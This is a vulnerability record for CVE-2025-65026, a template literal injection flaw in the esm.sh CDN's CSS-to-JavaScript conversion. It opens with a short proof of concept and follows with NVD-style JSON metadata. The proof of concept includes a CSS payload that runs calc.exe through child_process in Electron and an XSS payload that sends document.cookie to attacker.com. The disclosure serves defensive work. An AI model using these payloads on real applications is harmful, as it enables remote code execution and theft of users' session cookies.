CVE-2025-65026

// attacker-controlled.css file content: // .malicious { color: ${require('child_process').execSync('calc.exe')} } // Victim application code: import maliciousStyles from 'https://esm.sh/attacker-controlled.css?module'; // In Electron with nodeIntegration enabled, this will execute calc.exe // Alternative XSS PoC: // .xss { background: url(${document.location=`https://attacker.com/?c=${document.cookie}`}) } // PoC for testing: fetch('https://esm.sh/https://example.com/malicious.css?module') .then(r => r.text()) .then(console.log);

{"cve": {"id": "CVE-2025-65026", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:50.023", "lastModified": "2026-01-15T17:53:57.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*", "versionEndExcluding": "136", "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466"}]}]}], "references": [{"url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}